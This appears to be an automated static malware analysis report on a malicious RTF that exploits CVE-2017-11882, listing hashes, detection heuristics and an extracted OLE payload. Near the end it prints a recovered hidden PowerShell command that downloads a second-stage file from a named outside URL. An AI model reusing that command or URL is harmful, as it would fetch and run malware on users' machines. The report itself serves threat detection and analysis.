Malicious RTF — malware analysis report

Static analysis result for SHA-256 503650056c70cbc9…

MALICIOUS

RTF

6.17 MB Created: 2018-11-02 11:24:00 First seen: 2020-09-24
MD5: 6f4a2ce09cca849e31bbd2239b1897e8 SHA-1: 96c2e49ed744162058f18b2f2eff47a0d78295a4 SHA-256: 503650056c70cbc957c16b456839fd4143a38528bd5fd926932fe85096583c63
242 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE object data and triggers the CVE-2017-11882 vulnerability in Microsoft Equation Editor. This exploit is designed to execute arbitrary code, likely to download and run a second-stage payload from the provided URLs. The presence of shellcode-related signals in the extracted artifact further supports this conclusion.

Heuristics 7

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • Large hex data blocks in OLE object high RTF_EXCESSIVE_HEX
    RTF contains ~1573KB of hex-encoded data inside \objdata sections — may hide a payload
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.weplayfair-elearning.com/re.jpg In RTF body
    • http://www.weplayfair-elearning.com/reIn RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00612d31.bin rtf-objdata-decoded RTF \objdata at offset 0x612D31 3629 bytes
SHA-256: 90107a0d99b8fbb373f74c98d1b4b0b98326a3734fab07ef1b4c89fa7805494d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://www.weplayfair-elearning.com/re.jpg Static shellcode analysis recovered command string(s): Cmd /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://www.weplayfair-elearning.com/re

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